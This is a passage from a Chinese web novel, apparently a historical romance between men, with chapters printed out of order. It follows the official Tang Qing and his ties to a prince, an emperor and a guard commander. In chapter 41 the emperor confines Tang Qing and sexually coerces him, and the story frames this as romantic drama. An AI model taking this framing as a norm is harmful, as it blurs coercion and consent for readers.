围在二人身边的百姓下意识让出道,为首的官兵瞧见,目色诧异,纷纷迎上前行礼。 “见过王爷——” 话一出,周围的人连接跪下。 萧亭望着少年,道:“此人既已通过考核,为我大邺子民,就该照规矩办事,本王若没记错,条例上可未曾记载相关规定。” 官兵迟疑:“可此人方才冒犯了皇上……” 唐青微微摇头:“对方的话并无过错,何罪之有?” 官兵悄悄瞅了眼唐青:“还请这位大人见谅。” 唐青亮出官牌,表明身份。 在官兵们行礼之际,他开口命令:“把此人留下,既通过考核,就照条例办事。” 又道:“今后莫要再将大邺百姓划分三六九等对待,逢乱世时,多少英雄半路揭竿而起,他们随皇上南征北战,驱逐入境敌人,守卫疆土,功勋显赫。你们对此质疑,不就等同质疑这些英雄的出身? ” 在场的人沉默。 唐青笑着看向众人:“自古以来英雄不问出处,王侯将相宁有种乎?对人不能只看他的出身,而是要看对方的能力,看他做了何事,我瞧这名小兄弟颇具英勇风范,何必刁难他?” 百姓中有人高喊:“大人说得没错!” “既是我大邺子民,凭什么为难人家?!” 那少年眼眶顿红,含着泪光,朝唐青不断叩头。 “多谢大人、多谢大人——” 此纷争很快解决,唐青从百姓的高呼中离开。 萧亭看着他,喟叹道:“好一个英雄不问出处。” 唐青浅浅扬起眉眼:“让王爷见笑了。” 萧亭道:“见笑倒没有。” 反而愈加被他吸引。 “唐青,这些日子等你转完,本王带你去探望义母可好?” 想起之前的“交易”,且萧亭第一次见面就帮过自己,唐青断然不会拒绝。 萧亭驻足,手指轻柔地替他理了一丝落下的碎发。 “义母定会很喜欢你。” 第070章 第70章 五月中旬, 唐青一直在忙。 自朝廷发出边关贸易公示,冀州几城设立的边贸地址准备相继开启。 他先后分别与这些地方的负责官员见了一面,相商议会, 而后又到实地率先查探一番, 几地兜兜绕绕地辗转, 转眼就过去了半个月。 这日启程返回平城, 唐青靠在车内抵不住疲倦睡了。 日近傍晚, 霞光万道。 落日照着平城的街集, 往来的行人笼罩在苍廖的夕阳里, 烟火尘埃中,多了几分如梦似幻的朦胧。 唐青听着熙熙攘攘的动静,脑子些许清醒, 眼睛却仍昏沉沉地阖着。 直到马车平稳停下,依稀传来韩擒与人交谈的声音,不久,车帘掀开, 他睡沉的身子蓦然一空, 让韩擒抱出马车。 只这动静, 他顷刻间睁开双眼,手腕微微推了推对方。 “韩擒,放我下来。” 韩擒这次没有放开:“先生继续靠着,你累了。” 不等唐青反应,韩擒带他回到院落,把他放回寝屋的睡榻里。 管事很快赶来院中,韩擒站在门边, 回头朝床榻方向瞧了眼,低声吩咐:“大人舟车劳顿, 膳食安排人送到房内就行。” 管事连连点头,准备去庖房安排。 刚走到门外,管事忽然开口:“王爷还在军营,晚些时候便回府上。” 韩擒面庞紧绷,半眯双目,管事二话不说很快走了。 萧亭光明正大地托管事给唐青留话,即使韩擒在意,眼看着二人似乎越走越亲近,心下苦闷,却无法更改什么。 庖房很快送来温补滋养的膳食,韩擒将碗筷备在小厅里,唐青稍作休整,净手之后,二人一同坐下。 五月中旬的平城逐渐热了起来,晚风都带着暖和。 离府半月,院中的植物枝群渐茂,更添几分盎然明绿。 唐青六七分饱后放下碗筷,用湿布稍微擦拭,对韩擒说道:“这段时日辛苦你了。” 此行来到冀州,韩擒随他跟进边贸一事,还要着手处理皇上安排的任务。 在其他城邑停留的这些天,他偶尔从夜里醒来,时常能看见邻屋映出对方书写密报的身影。 韩擒道:“先生与我何须见外。” 他很庆幸能陪唐青一起度过这段日子,相伴相处的点点滴滴,俱成为叫他珍惜留恋的回忆。 韩擒沉沦在这份苦涩与甜蜜之中,虽然已经分开,再无挽回的可能,可他依然无法遏制地生出诡异又扭曲的快感。 能与唐青朝夕相处,叫他满足的同时,滋生出疼痛,不想脱离,而是甘之如饴的承受着。 沉默的用了会儿晚膳,窗外天色晦暗,仆人把回廊和院中的灯笼点亮,随后又往屋内送来几盏灯。 眼看时辰不早,唐青还待洗漱,韩擒不便再多逗留。他低声交代几句,适才离开院子。 就在韩擒走后,门前落下一名暗卫。 闻声,唐青重新打开房门,暗卫不是跟在他身边的,而是从邺都皇宫里过来的。 暗卫朝他行礼:“见过唐大人。” 说着,从袖中小心取出一封密信:“皇上特意吩咐属下,这封信要亲自交到大人手里。” 又从怀里取出一个盒子:“此为宫内上个月进贡的滋补珍材,也是皇上命属下交给大人的。” 唐青一手拿信,一手接过锦盒。 他走回书案坐好,将信纸从信封中取出展开,借着火光静静看完。 回复皇命即是紧急要务,唐青没有片刻耽搁,当场准备笔墨纸砚,正待落笔,暗卫忽然开口。 “大人,皇上亲口交代,大人回信时,请务必多写些。” 唐青微微一笑,颔首道:“好。” 暗卫垂着双眼,惯来冷硬的面孔闪过些许不自在:“皇上还吩咐,不光要写公事,大人的……私事也要尽量多写点。” 唐青:“私事?” 暗卫目光闪烁,支吾其词:“譬如……大人近日心情如何,胃口可好,有没有想吃的菜色……” 唐青:“……” 满腹无奈中,夹着几丝陌生异样的情绪,他笑着摇了摇头。 暗卫抱拳,恭敬地行了个大礼:“还请大人体谅,若少了信中内容,属下便得落个办事不利的罪名。” 唐青叹道:“我明白怎么写。” 暗卫拱手:“多谢大人。” 唐青在腹中措辞几番,适才落笔。 先事无巨细地呈报这半个多月来开启边贸的进展状况,随后再附上另一张空白的宣纸,依照对方的要求,添点“私事”。 萧隽若想清楚掌握他的具体行踪,只要吩咐暗卫紧密跟随,即可汇报,在对方面前,他完全毫无隐私可言。 但萧隽却要他在信上书写,足见把他之前的话听进心里,给他保留了几分隐私。 对此,唐青带着微妙的复杂心情,闲话叙了一张信纸,将写好的几张密信纳入信封,双手递给暗卫。 暗卫受宠若惊:“谢过大人。” 觉得不够,兀自又抱了个拳,素日矫健利落的人,在唐青面前略显笨拙。 唐青浅浅抿唇,道:“从邺都到平城,此途辛苦你了。” 他从书案起身,走到院中,唤来附近的仆人。 “庖房可还备有温热的膳食,劳烦给给这位小兄弟送点吃的过来。” 值夜的仆人立刻赶去庖房,暗卫将密信妥当收好后,差点又抱了个拳。 将这名专程赶来送信的暗卫安置好,唐青洗漱不久便休息了。 房中熄了灯,院子里的灯笼亮着光,隐约透入些许朦胧的光线。 从邺都出来已过了一个半月,许是受到方才那方来信的的影响,昏睡之际,突然想起几件关于邺都的旧事回忆。 临至五月下旬,邺都就要入夏了。 兰香应该把府邸打理得十分妥当吧,这个季节,院子里的花应当开了不少,不会再如刚进府那时候,到处都光秃秃的。 开春后随着各项新政的下发,尚书台的同僚必定忙得抽不开身,不知到几时才能再到瑞福楼小聚一次。 还有他启程前嘱托给萧隽的事,对方可有在大邺境内推广种植土豆,海上贸易之路是否有了进展? 涌入脑海的杂事搅得他混沌不堪,一觉竟睡到了翌日巳时一刻。 ** 日上三竿,候在屋外的仆人听到动静,得唐青允许,便端着盥洗的用具轻轻进门。 适才洗漱干净,门外传来萧亭的声音。 “昨夜休息的可还好?” 唐青浅笑着回眸:“王爷。” 尚有些不自在地继续开口:“睡的太沉,今日起晚了,外面的人怎么也不叫一声?” 萧亭道:“莫怪他们,是本王交代的,希望你多睡一会儿。” 说罢,抬起手掌微微一拍,管事亲自送了早膳到小厅。 萧亭目光柔和地看着他:“先吃点东西,短短几日,有些清减了。” 唐青下意识摸了摸脸:“王爷言重。” 萧亭淡笑不语,陪他小坐片刻。 待用完早膳,暗卫前来传话,说是韩擒有事外出,让他安心留在府中休养。 萧亭与他先后走出屋子,在院里晒晒太阳,吹了会儿温暖的风,叙几句闲话。 萧亭道:“左右无事,不如今日去看望义母,意下如何?” 唐青住在王府也有半个多月了,答应对方的事还未兑现,心生愧疚。 他欣然应允:“好。” 又问:“可要带些东西过去?” 萧亭:“你人过去就好。” * 约莫一刻,唐青随萧亭来到一座清幽安静的院落。 日光晒得石板温暖干燥,周围的植物被打理得很是漂亮。 树荫下,两名婢女正在陪着一位妇人侍弄花草,萧亭唤了声“干娘”,妇人回头,看清她的面容后,唐青怔在原地。 妇人朝他扑来,嘴里焦急地喊着“小离”,那瘦弱娇小的身躯,竟险些将唐青撞倒。 良久,在萧亭担忧的目光下,他眼眸眨了眨,缓缓回神。 妇人盯着他,唐青嘴角牵出一抹笑:“见过老夫人。” 一只手臂落在腰后,萧亭对婢女交代几声,半搀半抱地把他带到旁厅坐好。 萧亭问:“可是身子不适?还是……” 唐青摇头,:“无碍。” 他话刚落,置在膝盖前的手却让萧亭握紧,放在掌心搓了搓。 “唐青,你的指尖很凉。” 唐青有些迷茫:“我……” 他不知该说什么。 命运竟然如此巧合,萧亭的干娘,和他的母亲在外貌上竟有几分相似。 唐青的父母属于生意联姻,没有半分感情。生下他以后,二人关系越加疏离,好像把结婚生子这份任务完以后就解脱了,把他遗忘了。 他从有记忆起,父母便常年在外忙着各自的事业,偶尔回来见他,也只待了一两天就匆忙离开,连同他被照看的保姆虐/待也是很久之后才发现的。 环境造就了唐青自小就孤僻的性子,长大后随着性向的无意暴露,使得那个本就摇摇欲坠的家矛盾剧烈升级。 多年对他不闻不问的父母突然对他强制看管,无休无止争吵和谩骂彻底让这个家碎成齑粉,二人离婚后,被彻底放弃治疗的唐青这才得以解脱。 青春成长期,他不停地接受心理治疗,当他与过往的一切和解,终于让内心重新获取到生活的温暖和柔软时,猝不及防的,竟如一缕幽魂,来到这个陌生的时空。 他就像水里的浮萍,风里的尘絮,水流到哪里,风吹到哪里,他就在哪里。 面对萧亭关切的目光,最终只化为他嘴边的一句叹息。 “我没事。” 殊不知,已经很久没有落泪的眼眸此刻溢出晶莹的湿润,颤动的睫毛像雨水打湿的蝴蝶。 眉心一暖,他怔怔睁着眼眸,萧亭捧起他的脸,吻从眉间转落在眼睫,吮去朦胧的细泪。 唐青闭眼,内心有根弦松动下来,就这么放任自己靠在对方肩膀上。 他轻轻叹道:“只此一刻,让我缓一缓,过会儿就好。” 40-50 第041章 第 41 章 元朔三年冬, 兖州以西乌里郡有山匪滋扰,韩擒奉皇命率军前往乌里郡平叛。 ** 唐青在尚书台听到同僚们有一搭没一搭的闲话,执笔的手偏了偏, 笔锋险些飞出纸卷外。 李秀莽抬眼, 唐青收起失态, 询问:“这是皇上几时下的圣旨, 统领已经出发了?” 从三楼走下的寇广陵顺口接了话, 说道:“前日下的旨意, 今日启程。” 寇广陵伫立在窗户, 观望外头的天色。 “看这时辰,约莫就要过了。” 唐青有点心不在焉,放下毛笔。 前日他午后留在御前当值, 未听皇帝提起过乌里郡受山匪滋扰一事。 思索之际,从遥远处响起沉闷,似雷似鼓的声响。 寇广陵道:“听,这便是出军时的号角声, 要启程了。” 话说着, 在场的人纷纷默契地把目光落在唐青身上。 寇广陵欲言又止, 见唐青收笔,似下定决心,直起身朝他拱手行礼。 唐青道:“大人,可否行下官一个方便,半时辰内定会回到尚书台。” 寇广陵不问缘由,挥了挥手:“去吧。” 唐青道了谢,走得匆忙, 从砚台带出的墨汁沾到袖摆也未注意。 李秀莽目送他离开,静默须臾, 方才执笔润墨,把唐青还未誊写完的文卷继续写下去。 寇广陵上前拍了拍李秀莽的肩膀,有的事情大家心里都清楚,都默契地保持看破不说破的态度。 * 北风猎猎,远处城墙上的军旗随风扬动。 唐青一路疾赶,到底还是晚了一步。 韩擒已经带军离开,他只能站在皇宫最外围的那道城墙高处,遥遥眺望前方,依稀还能看见些许模糊的影子。 唐青赶到此地只为远远看几眼,在心里期望对方安全回来,半晌,未等守城的将士上前提示,便独自下了城墙。 韩擒做事一惯稳妥,这次没跟他辞别,想必事出突然,来不及和他见面。 返回尚书台,唐青收拾好情绪,继续把精力投入誊抄文卷的工作当中。直到散值,李秀莽整理摞放的卷册,道:“天黑了,外头开始起风,早点回去。” 唐青笑着点头,将案几清整干净后,适才离开。 他走了原先总和韩擒相遇的那条宫道,寒风袭面,不由裹紧披在官袍外的披风。 途径石柱,侧方绕出一名禁军。 “七营后尉石崇见过唐大人。” 唐青端详对方:“你是统领派来的?” 禁军道:“统领临行前特意吩咐,若大人有何需求,可差遣小的去办。” 唐青浅浅一笑:“多谢。” 石崇低头,不敢多看,道:“小的护送唐大人回去。” 唐青温声婉拒,但这名叫石崇的禁卫不愧是跟着韩擒做事的,性子一比一的复刻,耿直固执,定要把他平安送到殿外才悄然离去。 ** 深夜,唐青觉不安稳。 窗外隐约渗入风声,凭添几分阴森恐怖。 他从梦魇中惊醒,甫一睁眼,便看见不知静坐了多久的男人。 萧隽背对烛光,面孔隐在昏暗的光影下,叫人看不分明。 唐青心脏急骤悸动,顾不上发髻滑落的冷汗,撑着身从被褥里下床。 “皇上半夜——唔——” 他吃痛地跌坐回床榻,右手腕落在那只宽阔有力的大掌之中。 萧隽收起五指,力道只三四成,若再施加一点力气,轻易就能把唐青这只纤细单薄的腕子捏断。 唐青倒在榻前,自下往上地仰望着纹丝不动地帝王,心里升起无名的不安。 “皇上这是何意?” 萧隽低头,捏起他的脸,指腹五六分力道,几乎陷入羊脂般细腻润白的下巴里。 对视几瞬,萧隽翻身上了床榻,手臂交拢,直接将唐青锢于怀中。 唐青忍下颤抖,手指推拒着腹前的大掌。 “皇上……” 萧隽漫不经意道:“卿越挣扎,孤的力道就越紧,卿需得想清楚,可能承受得起?” 两副身躯隔着衣物相贴,萧隽的话就像一盆冷水,兜得唐青浑身发凉。 而他身后的温度却随着他的挣扎愈加灼热。 萧隽拥紧他:“卿莫要再挣,好好歇着,孤便不动你。” “若不听话……” 萧隽似有所指,俯过英挺的鼻梁,极近地凑到唐青后颈细嗅,轻轻一吮。 唐青微震,不敢再动。 彻夜无眠。 ** 次日,伺候唐青的宫女换了人。 唐青问:“兰香呢?” 宫女埋头做事,唐青便再问一遍。 宫女道:“奴婢不知,皇上下的旨意,请侍郎莫要为难奴婢了……” 唐青缓缓闭眼,在宫女的伺候下更换了衣物。 今早他需得去尚书台上值,午后再到御前伺候,可临至殿门,却叫看守的侍卫拦住。 “侍郎请回。” 潇湘殿素来无侍卫看守,这会儿外头围了一圈宫中佩刀侍卫。 唐青回到前厅坐下,揉了揉眉心,沉吟不语。 就算再迟钝,他也明白了自己目前的处境。 他被皇帝软禁起来了。 至于缘由,还没想清楚。 唐青回忆这半年来在宫里的言行,从始至终他都恪守本分,未曾逾矩。 至于皇帝交给他的任务,更不曾懈怠,竭尽全力地完成。 整宿未眠,陷入沉思的他顿觉脑筋隐隐作痛,直到无法思考,方才回了寝室合衣而躺,打算闭目养神。 ** 唐青一连三日未去尚书台上值,他无法离开潇湘殿,身边只留一名宫女伺候,外围皆是侍卫把守。 雅致的殿宇仿佛又成了囚禁他的牢笼,让他不禁回想过去的那段经历。 萧隽捋了他,欲将他视为娈宠关起来。今时不同往日,他成了对方的得力心腹,为什么还要如此待他。 赶上韩擒碰巧的离宫,莫非是被有意支走的? 唐青疲倦地倚在坐榻前,对宫女送来的膳食毫无半点胃口,短短几日,人已经消瘦下去, ** 兖州乌里郡,断崖谷。 巨石堆叠而成的山谷间烧着几处熊熊火焰,萧瑟冷肃的风裹带着浓郁的血腥味,于这片黑暗的土地无边蔓延。 韩擒下令让将士打扫战场,他身上的血腥气很浓,话交待完,皱眉看着盔甲肩臂位置的血液,忽然抬头,侧首遥望邺都的方向,心跳无端漏了半拍。 心腹送来一封密信。 “统领,这是七营石崇从宫内差人加急送来的,还叮嘱过下属,要等统领从战场上下来后再交到您手里。” 韩擒眉宇一跳,忙拆开了信,借着火光快速阅完。 只瞬间,前不久还在战场斩杀寇匪的人身形一晃,往后几步踉跄。 心腹连忙扶稳:“统领?!” 韩擒几乎攥碎了信,定了定神,哑声道:“你着人一天内收整此地,后日启程赶往邺都,我先回去。” 韩擒牵起心腹刚才骑来的战马,翻身而坐。 不等心腹询问缘由,火光中只剩下韩擒策马远去的背影。 ** 潇湘殿灯火憧憧。 唐青已被关在殿内整整七日。 他寸步难行,食宿乏力,时常在半梦半醒的状态惊醒,一睁眼,便有一双禁锢在腰前的手掌。 今夜亦是如此。 连着几日食宿欠佳,他睁开漆黑疲倦的眼睛,哑声问:“皇上,臣可是犯了什么罪,要教您关在殿里关到几时……” 萧隽目光清明,打量枕边憔悴下去的美人,浮起的怜惜很快被怒气取代。 “孤要确定一件事。”低沉的声音冷如寒冰,“卿可自己说过,知晓犯了欺君之罪该如何处置。” 唐青:“……” 萧隽趁其不备,倾身欲吻,却被避开。 “皇上——唔——” 唐青嘴唇吃痛,下意识紧合牙关,抵住蛮横落下的炽热唇舌。 萧隽冷笑:“怎么,能接受韩擒,却几次三番的拒绝孤,卿可是好得很呐。” 唐青睁大双眸,听萧隽继续说道:“那夜出现在卿床榻的人,是韩擒吧。” “卿与他……睡了?” 几欲从嗓子里挤出这句话的同时,萧隽恨不得把怀里的人揉碎捏烂。 可他到底舍不得。 唐青偏着头急促呼吸,嘴唇微动,眼前笼下阴影,再次覆上那阵炙热濡湿。 萧隽触着他紧闭的唇吮吻,任唐青挣扎,任他奋力推拒,依然纹丝不动,甚至一只手掌就将那两条纤细的腕子锁在头顶。 ** 寒风呼鸣不止,殿外响起一道沉厚有力的声音。 “皇上,臣韩擒,请求觐见——” 被桎于枕榻的唐唐青蓦然睁大双眼,眸中细闪着微微湿润。 哪怕要被萧隽强制时,他也隐忍着情绪控制不发,乍一听到来人开口,眼眶便止不住酸涩起来。 唐青望着落在地上破碎的衣布,红肿的唇透着血丝,再开口时嗓音异常沙哑。 “皇上,你尽可以拿走臣的身子,届时臣还是辅佐您的忠臣,可心底的情,永远也不会给一个强迫过臣的人,” “臣要的是两情相悦,心意相合,这样一副没有心的身子,您要吗……” 窥萧隽面色铁青,但禁锢着手腕的力道却在逐渐松动。 唐青踉跄起身,还未站起,眼前的帝王抽身而去。 * 潇湘殿大门开启,冬夜萧冷漆静,把守在门外的侍卫面面相觑。 韩擒跪在石阶之下,和追随了十余年的君主视线交汇。 他一身盔甲上血渍已经冷透,声色低沉而坚定。 “臣恳求皇上,望皇上念及臣数年追随之功,放过唐侍郎。” 第042章 第 42 章 深暗的云层里露出几许清冷月色, 宫道前映照一片银白。 唐青全身包裹在狐裘中,绒绒的毛领几乎贴着他的脸团了起来,只露出一点精致疲惫的眉眼和小巧鼻尖。 他蔫蔫地靠在韩擒怀里, 头脑昏昏沉沉的, 像做梦, 偶尔掀起漆长眼睫, 借着月色看人, 再度阖眼靠着。 萧隽走出潇湘殿的那一刻, 他紧跟了出去, 瞬间就看清跪在石阶底下的韩擒。 本以为将要承受的天子雷霆之怒没有降临,萧隽冷眼看着他们,说了句“滚罢”, 便扬长离去。 时至此刻,唐青都还浑噩恍惚。 就在殿门外,他直接别韩擒抱走了。 鼻息涌入北风凛冽的寒意,还有干涸带着腥锈的血味。 他有许多话想问, 到底太疲倦, 想靠着歇息会儿, 便只开口,说了句:“我们要去哪里。” 韩擒低声道:“出宫,去我府上。” 唐青余光瞥向不断倒退的宫墙,还想再说点话,韩擒隔着狐裘拍了拍他的肩膀:“先睡会儿。” 唐青便又合起双眸,这一睡就到了统领府内。 ** 府邸明灯骤亮,韩擒吩咐管事领个大夫过来, 低头打量团在狐裘里没有意识的人,不忘叮嘱:“动静轻些。” 管事屏着气息很快就出门了。 大夫来得及时, 正好赶在唐青睁眼不久。 他已有几分清醒,配合地给大夫把脉,如实叙说身上的症状。 唐青受了惊吓,因为休息和饮食不好,心脉虚弱,身子乏力,需好好静养温补一些日子。 送走大夫,管事很快送来后厨熬好的滋补粥食,用凉水镇过,还温着,适合入口。 韩擒屏退管事,拿起羹匙舀粥,先试温度,方才送到唐青唇边。 “慢慢喝,你太虚弱了,得吃点东西补充体力。” 青年一副破碎脆弱的模样,叫人不忍再看,多一眼,都会被刀子搅着心脏。 韩擒维持手中的瓷碗平稳,语气稳沉,神情似与往日无甚两样。唯有靠近他,从眼底窥出少许的情绪,才知道这人状态也是不好的。 唐青就着韩擒喂食的姿势喝了几口粥,等手腕恢复一些力气,便自己接过羹匙。 方才在宫里看不真切,此时灯火通亮,打量韩擒,方知对方的确是从战场上直接赶回来的,盔甲有不少风干的血渍,手背后还有几处擦伤和冻伤。 碗里的粥变得没滋没味的,可面对韩擒的关怀,唐青努力多喝了几口粥食,嗓子得到滋润,恢复几成清亮。 他轻声问:“可是受伤了,盔甲上有血。” 韩擒惊觉自己浑此刻仍身脏污,开口解释:“上面的血是别人的,有几处皮外伤,稍做处理就不碍事。” 说着,皱眉嗅了一下,吩咐管事送一身干净衣服给唐青换上,而后独自去洗漱清理,整弄干净后即刻返回房内。 寝帐半落,唐青在里头把衣物换了。 韩擒刚进屋,脚步止顿,隔着一层帐帘窥见那抹人影,忙侧了身。 等帐内动静停下,方才回头。 唐青把换下来衣物放在椅子上,望着背身回避的男人,不禁莞尔。 他重新躺回榻间,眉眼虽然带有疲倦,却不似方才那般惊惧,多些安然。 他睡在韩擒的寝室,床褥都是对方身上惯有的气息,像在阳光底下暴晒过的木头味道,干燥而质朴。 案几放着大夫留的药膏,韩擒拿起,瞥见唐青的面容如素日里一样恬静美好,嘴唇却泛出细微的血丝,不由心痛。 唐青穿着宽松,莫说嘴唇和脖颈,甚至底下都可见被摩/挲或揉/捏出来的痕迹,时间稍微一长,色泽便深了起来。 韩擒坐下,哑声道:“我替你上药。” 看清楚印在雪白肌肤上的痕迹,不问过程,更不问结果,韩擒掩低眉目,搓着药的指腹轻轻抹触在唐青破损的下唇,见人颤了颤,一顿,已是痛如刀割。 唐青垂眸:“不若唤个婢女过来上药。” 韩擒摇头,话哽在喉头,轻轻揭开衣襟,目不转睛地凝视脖颈附近的青痕,继续涂抹药膏。 腰腹之下,更遍布着几道明显桎梏出来的掌迹,搓得重了,药浸抹上去时,唐青浑身止不住颤动,生生忍下。 他趴在枕边,过了腰背,轻声道:“下边还有……” 殊不知韩擒双目已经赤红,眼中含泪,起初还有些嫉妒,可看着越来越狼狈,仿佛碎裂的人,痛楚如潮水,淹得他喉头发苦发涩,几次扣药的手指始终发抖。 涂药的地方来到腿边,唐青想着内侧太过敏/感,打算自己动手。 他侧首抬眸,望着满面扭曲呆愕无言的人,伸手握住对方的虎口。 韩擒呼吸紧促,唐青坐起身,道:“我、我没事,你别这样。” 韩擒僵硬地转了转眼珠,里面一片漆黑,充满自责。 “对不起,我、我回来晚了……” 唐青摇头,使劲打开韩擒的手掌,果然如他所料,掌心里已经掐出血珠。 方才他在潇湘殿里听到韩擒高声觐见时,听那固执坚定的口吻,心里泛酸。 就在此刻,心境也似那会儿一样,抓着渗血的掌心,哑道:“韩擒,我冷。” 屋内已置了炭盆,他浑身仍在颤抖。 闻声,韩擒连忙展开被褥将他完完全全笼在里头,臂膀环着人,想抱紧些,顾及那些触目惊心的痕迹,怕弄疼他,手僵在那,显得笨拙无措。 唐青蜷在被褥里成了一团,青丝散乱,抱着他的两只手抬起一只,慢慢顺着落发,替他拨至耳后。 唐青眉眼带笑,旋即一顿,问:“若我的身子已经……成为皇上的,你可会嫌弃?” “不。”韩擒手臂重了几道,急忙道,“为何嫌弃?” 剑眉痛苦地蹙紧,几乎咬牙,低哑道:“我只恨自己,恨我不能马上护你,怜惜你遭受的伤害。我有什么立场来嫌你,该厌弃自己才是!” 韩擒抬手,照着自己的脸打了一掌。 唐青忙抓住他,适才还含着笑的眼睛立刻红了。 “韩擒,你……莫要这般……” 他知这人的难处。 韩擒出身名门,自幼所受教育端方正统,幼年时家中曾遭受两次冤情被流放,后得萧隽信赖,好不容易平反,建功立业,直上青云。 他信奉君王,是天下之主的追随者。 自古以来,君臣之间只有听信臣服,臣对上,有太多的不能为,不能想,不能做。 韩擒除了欺骗他的那一次,从始至终,替他做了一件又一件事。 直至今夜,从乌里郡赶回的他当着皇帝的面,在众多侍卫包围的情况下,把他带出皇宫。 此一举,若萧隽铁面无情,可能会要了韩擒的命,更会牵连韩家受罪。 唐青对自己的情况到不担心,左右都得罪到那种程度,最坏的后果,无非是自己死,可韩擒背后关系着数人性命,叫他不由担心。 他牵起对方的手:“此刻回宫认错,还来得及吗?” 韩擒摇头,扶着他躺下。 “暂且安心歇息,旁的事交给我处理。” 又道:“皇上行事虽有几分独断,但未曾迫害无辜忠良,那些死在皇上手里的人,多是罪有应得。” 旋即低叹:“圣上知我心,理应不会严惩韩家,届时做错的事,便由我独自承担。” 烛火晃映,晃得唐青一颗心酸涩欣喜。 他欲言又止,韩擒先落帐帘,而后俯身,在他嘴边极轻地吻了吻。 唐青闭起眼睫,双唇微抿,启开,和韩擒交换了一个轻柔的啄吻。 半晌过去,韩擒重新坐回椅中,一只手掌放入被褥内,与唐青的手交扣相握。 “睡吧,我守着你。” 深沉的眼睛自始至终都未离开他的嘴角,唐青半昏半醒的,仿佛过了很久,在梦里听到对方问:“可还疼?” 唐青一下子闪着睫毛睁开双眸,眼前晕着光,唯剩那双黑沉的眼睛专注看着他。 似有点难以启齿,但他终归还是选择轻声回应。 “休息几日就好,不疼,因为……对方没有进去……” 握着手的那只大掌紧了紧力道,而后意识到失控,这才松开,沿着他的手指缓慢触摸,确定没把此般修细的手指捏坏了。 唐青弯弯唇角,还想再和韩擒闲聊几句,奈何夜色太深,连日无眠的他再难抵抗倦意,落入昏暗安稳的梦里。 ** 韩府一早就静悄悄的,却十分热闹。 管事照统领的叮嘱,吩咐后厨随时准备味道适中,营养清淡的膳食,又连忙去了趟织衣阁,命裁缝尽快修裁几身样式素雅的衣物。 唐青觉至晌午,窗前的帘子敞开少许,透入灰蒙蒙的冬日天光。 他撑起酸痛的身子,腰肢昨日被萧隽掐抱得实在太疼,重新倒入床榻间。 很快,又叫另一只手扶起。 韩擒放下托盘,把他半揽入怀。 唐青唇角勉强牵起弧度:“睡太久了,浑浑噩噩的。” 韩擒抱他到铜盆前洗漱,再抱回床榻,喂他喝些药膳。 见韩擒一身官服,唐青怔道:“去上朝了?” 韩擒:“嗯。” * 一早,皇上的目光冷如辜月寒刀,恨不得将他射穿。 可于朝上,只对乌里郡剿匪一事口吻淡漠的给予赏奖,余下并未回应。 昨夜禁军大统领擅闯后宫,当众抱走御前得宠的唐侍郎,此事已在朝堂上下传开。 奈何帝王面色太冷,统领脸色也沉得能滴水,余下官员自然不敢当着他们的面上奏或非议。 韩擒无奈道:“没有何事比当前形势更乱糟糟的了,别的都无妨,你就留下吧,等养好身子再做打算。” 唐青含了一口药膳,自嘲一笑。 “好像成了传言中的红颜祸水。” 第043章 第 43 章 当前形势窘迫, 加之身体疲弱,需得静养,唐青只得暂居韩擒府上。 彼时他靠着榻, 饮服对方亲自送来的药汤, 待嗓子那阵苦涩缓去, 迎上一双始终注视自己的黑沉星目, 唇角轻浮, 道:“怎么又皱眉。” 他想下榻走走, 眼前搭来一条手臂, 便借着对方的力,屋外朔风潇潇,只能绕着屋内来回踱步。 只片刻, 他因体虚险些透不上气来。 韩擒揽起他的腰肢,送回坐榻。 “可还好。” 唐青唇上的血丝和红肿已几乎消褪,勉力牵动嘴角;“无事。” 他在韩擒的寝屋安心休养三日,身子那些痕迹已经散得七七八八, 但这几日, 惹来诸多目光。 他茕茕孑然, 倒不惧谣言对自身的影响,可韩擒身居要职,言行举动在明里暗里有那么双眼睛看着,而今又被皇帝忌惮,便不得不考虑了。 思前想后,道:“让我搬去客房吧,老睡你的屋子总是不妥。” 韩擒知他心细缜密, 不由情思微动。彼此交流虽只言片语,但都清楚对方想的什么, 一个说,一个应,也不问缘由。 “好,我一会儿吩咐人去准备。” 未过正午,韩擒还要要务处理,留管事好好照顾唐青。 走前,他看着倚做在书案前的身影,心头悸动且不舍,返步回来,俯身在唐青额头亲了亲,方才出去。 ** 管事很快着人整理出一间客房,领着唐青亲眼去看。 客房布置得舒适,家具不多,贵在雅气,瑞兽铜制香炉里点着淡淡的木香,隔着袅绕白雾,唐青把屋子都转了一遍。 管事笑呵呵道:“若先生还有哪里需要改进,尽管吩咐。” 唐青道:“这般就很好,劳烦您了。” 管事受宠若惊道:“不麻烦,不麻烦。” 管事心觉,自打这位容姿惊绝的公子来了府上,虽没几日,可府邸上下就热闹了不少,有活气了。 他亲自带人准备寝屋,拿着后厨备的新菜色询问公子是否合意,从纺衣阁送来的衣物都亲眼看着丫鬟熨过,熏了香。 可谓事事安排得周全,纵使如此,统领从宫里回来后,还要再过一遍眼。 此般妥帖细致,实在叫人大开眼界。 他们统领管教有方,拿的军营里规矩治理,所以府内里里外外的人都比较严肃沉默,恪守本分,平日无甚交流,偌大府邸,看起来就冷漠许多。 如今唐青暂居不过几日,和统领尤为亲密,还住在主人的寝屋,所受待遇堪称另一位主人才能享受的,怎能让府邸上下的人按捺得住。 管事亦笑不合嘴。 唐青暗中轻叹。 只怕韩府的人还不知晓他和韩擒的事情,若清楚缘由,知晓前几日深夜宫内发生的事,还能对他如此和颜悦色么。 ** 冬日的傍晚,邺都的天就已经暗下了。 唐青添了件狐白斗篷,从书房去了前厅。 遇到正好散值回府的韩擒,便迎了过去。 前厅未添炭盆,韩擒怕他冷到,带他绕进里屋。 “怎么出来了,不在房内多歇会儿。” 唐青摇摇头:“睡了几日,头脑昏昏,总得多走动走动。” 他的病假一连告了好几日,皇帝应允,却也不闻不问,时值今天,朝上并未传来任何消息。 纵然如此,唐青心里仍没安定。 他道:“不知兰香状况如何,那日我忽然被禁在殿内,她也不见了。” 韩擒已私下打听了消息:“被调去其他宫侍奉,我让人打点了些关系,没人能欺负她,这丫头担心你,知晓你无事才安心几分。” 唐青喃喃:“如今我身边只她一人,若我犯错,她也跟着倒霉,糊里糊涂地受此牵连。” 韩擒低声宽抚:“如果没有你,她或许还在别的地方受苦,莫要妄自菲薄。” 唐青轻轻点头,见韩擒伸了手,便自觉倚靠在对方怀里,寻份安宁。 ** 翌日,尚书台沐休的同僚拜访韩府,特意来看望他。 管事在前厅备了炭盆,大厅透气,又熏着股暖意,李秀莽和苏少游解去外层披风,左右看看,很快在回廊下瞧见那抹渐渐行近的身影。 